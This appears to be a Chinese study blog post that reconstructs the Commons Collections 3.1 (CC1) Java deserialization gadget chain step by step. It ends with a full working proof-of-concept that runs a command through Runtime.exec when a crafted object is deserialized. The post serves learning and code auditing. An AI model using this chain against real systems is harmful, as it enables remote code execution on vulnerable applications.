前言
学习Java基础语法也有1年多的时间了，Java安全基础也学了有半年了，期间通过ctf赛题学习过fastjson的反序列化并了解了其利用链，但并未深入学习并记录笔记。
一直都说要赶紧审计java的反序列化利用链，但老是一推再推，让这篇文章开个头，步入学习java审计的开始！
Java反序列化基础
学习过PHP反序列化我们应该清楚，反序列化其实就是将对象转换成字符序列的一个过程，序列化则是一个反向的过程。在PHP中一个对象在进行反序列化时会执行自身的__wakeup方法，而在Java中有这样一对方法：writeObject 和readObject ，不难看出在Java对象进行序列化时会执行writeObject 方法，而在反序列化过程中执行readObject 方法。下面我们就来举例说明：
首先需要定义一个可序列化的类，在Java中，当一个类实现了Serializable 接口时该类才可以被序列化，然后我们通过覆写writeObject 和 readObject 方法来验证刚才所说的内容。
编写User.java
import java.io.Serializable;
public class User implements Serializable {
private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
stream.defaultWriteObject();
System.out.println("成功进行了序列化！");
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
System.out.println("成功进行了反序列化！");
}
}
编写测试类Demo.java
import java.io.*;
public class Demo {
public static void main(String[] args) {
// 定义User类
User user = new User();
// 序列化过程
try {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(user);
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化过程
try {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
执行结果如下图：
分析前的准备
漏洞组件：CommonsCollections 3.1 - 3.2.1
使用jdk版本为1.7，cc1在jdk8u71之后已经修复不可利用，在oracle中已经下载不到8u71之前的版本了，所以使用java7！
下载链接：https://www.oracle.com/cn/java/technologies/downloads/archive/
使用IDEA创建Maven项目，并在pom.xml中引入漏洞组件
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
利用链分析
在ysoserial中可以看到cc1的利用链如下：
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
InvokerTransformer
通过利用链进行逆推，成因主要由InvokerTransformer.transform() 方法导致
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
该方法传入一个对象input，并通过反射执行了自定义方法，所有的参数都是控的！
我们想要通过transform方法进行命令执行，则需要构造Runtime.getRuntime().exec("calc")
import org.apache.commons.collections.functors.InvokerTransformer;
public class Demo {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
// Runtime.getRuntime().exec("calc");
}
}
执行结果如下图：
当然也可以使用InvokerTransformer.transform()获取Runtime.getRuntime()，这里先来温习一遍如何通过反射进行Runtime 类命令执行
import java.lang.reflect.Method;
public class ReflectClass {
public static void main(String[] args) throws Exception{
// 获取Runtime.class
Class clazz = Class.forName("java.lang.Runtime");
// 获取Runtime的getRuntime方法
Method getRuntime = clazz.getMethod(null);
// Method getRuntime = clazz.getMethod("getRuntime"); //getRuntime为静态方法
// 获取Runtime的exec方法
Method exec = clazz.getMethod("exec", String.class);
// 执行Runtime的getRuntime方法，并将返回的Runtime实例化对象执行exec方法
exec.invoke(getRuntime.invoke(clazz), "calc");
}
}
通过温习Runtime 类命令执行我们可以得到如下三个部分：
第一部分：通过传入Runtime执行getMethod获取getRuntime方法
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object transform = getMethod.transform(Runtime.class);
第二部分：通过invoke方法执行getRuntime方法，返回Runtime实例化对象
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object transform1 = invoke.transform(transform);
第三部分：然后通过Runtime实例化对象执行exec方法
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(transform1);
ConstantTransformer
查看ConstantTransformer.transform方法
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
很简单，就是将传入的对象返回出来，所以就有了如下代码来替代Runtime.class
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object payload = constantTransformer.transform("payload");
ChainedTransformer
查看ChainedTransformer.transform方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
该类传入的时一个Transformer[]的类对象数组，在transform方法中则是递归执行数组中每一个对象的transform方法。
现在我们的POC如下：
public class Demo {
public static void main(String[] args) throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
Object payload = constantTransformer.transform("payload");
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object transform = getMethod.transform(payload);
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object transform1 = invoke.transform(transform);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(transform1);
}
}
不难看出一共有4个部分，后一个部分的transform参数总是上一部分的transform方法返回值，所以这里我们使用ChainedTransformer.transform方法就可以将其浓缩成如下代码：
public class Demo {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
chainedTransformer.transform("payload");
}
}
利用链的前半部分算是解决了，但是没有办法通过反序列化来触发readObject方法来进行利用，所以我们还需要继续找一找。使用IDEA的Alt+F7查看transform方法还在哪里调用过：
尝试自行逆推
这里找的时候我们需要注意的当然就是参数可控，怎么样可以让执行transform方法的对象是可控的，所以总是需要看一下构造函数~
Collections
这里我们找到一个Collections.collect方法
该类构造函数为空，参数通过collect方法传入
public CollectionUtils() {
}
public static Collection collect(Iterator inputIterator, final Transformer transformer, final Collection outputCollection) {
if (inputIterator != null && transformer != null) {
while (inputIterator.hasNext()) {
Object item = inputIterator.next();
Object value = transformer.transform(item);
outputCollection.add(value);
}
}
return outputCollection;
}
然后编写代码尝试去利用
chainedTransformer.transform("payload");
List<String> payload = Collections.singletonList("payload");
CollectionUtils collectionUtils = new CollectionUtils();
collectionUtils.collect(payload.iterator(), chainedTransformer, payload);
成功利用，之后再看看collect方法在哪里调用过
可以看出这条路行不通~
TransformingComparator
TransformingComparator.compare 方法
查看构造方法：
public TransformingComparator(Transformer transformer) {
this(transformer, new ComparableComparator());
}
public TransformingComparator(Transformer transformer, Comparator decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
我们发现参数都是可控的，利用起来也比较简单
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare("payload1", "payload2");
裂开了，这个查出来的太多了...
这里就先找俩个学习学习，这里不止这俩个，还有TransformedPredicate.evaluate、TransformerClosure.execute等都可以实现transform方法的利用。
LazyMap
开始步入正题，LazyMap.get方法也可以实现transform的利用
查看可以用的构造方法和可利用的get方法：
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里的逻辑也比较简单，当传入的Map中不存在传入的key键就会触发transform方法
但是这里LazyMap的构造方法是私有的，这里需要利用它的decorate方法进行返回LazyMap对象，poc如下：
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
decorate.get("payload");
到这里当我准备查看get方法的调用情况时，觉得自己还是太菜鸡了~，像get这种的调用情况简直是so much（so many用来修饰可数名词，so much用来修饰不可数名词）
AnnotationInvocationHandler
通过利用链可知，其中用到了AnnotationInvocationHandler
查看该类，其中包含readObject方法，并且在invoke方法中调用了get方法，通过学习《Java动态代理机制》我们可以知道，实现了InvocationHandler接口的类为代理类，当被代理类执行接口方法时则会执行代理类的invoke方法。
查看构造方法：
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
在invoke方法的78行调用了this.memberValues.get方法，通过构造方法可知该参数可控。
这里写一下poc：
// 获取AnnotationInvocationHandler的构造器
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// 通过构造器来创建类对象实例
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
// 设置代理
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
// 触发代理类invoke方法
map.clear();
// map.entrySet() 也可以，都是Map的接口方法
这里创建类对象实例时，传入的第一个参数为
Override.class，构造函数中类型为Class<? extends Annotation>，Annotation是一个接口，所有的注解都继承了该接口
但是到这里尽管这样，我们也没有办法直接利用反序列化readObject来实现漏洞利用，现在来看一下readObject方法，在325行发现调用了this.memberValues.entrySet()
entrySet()也是Map的接口方法，如果这里的this.memberValues是刚刚定义的map，则可以通过readObject触发漏洞，所以我们再次创建一个AnnotationInvocationHandler类对象实例，并将map传入即可
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);
然后在继续写入序列化和反序列化操作
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(invocationHandler1);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
最终POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
public class Demo {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, map);
try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
outputStream.writeObject(invocationHandler1);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}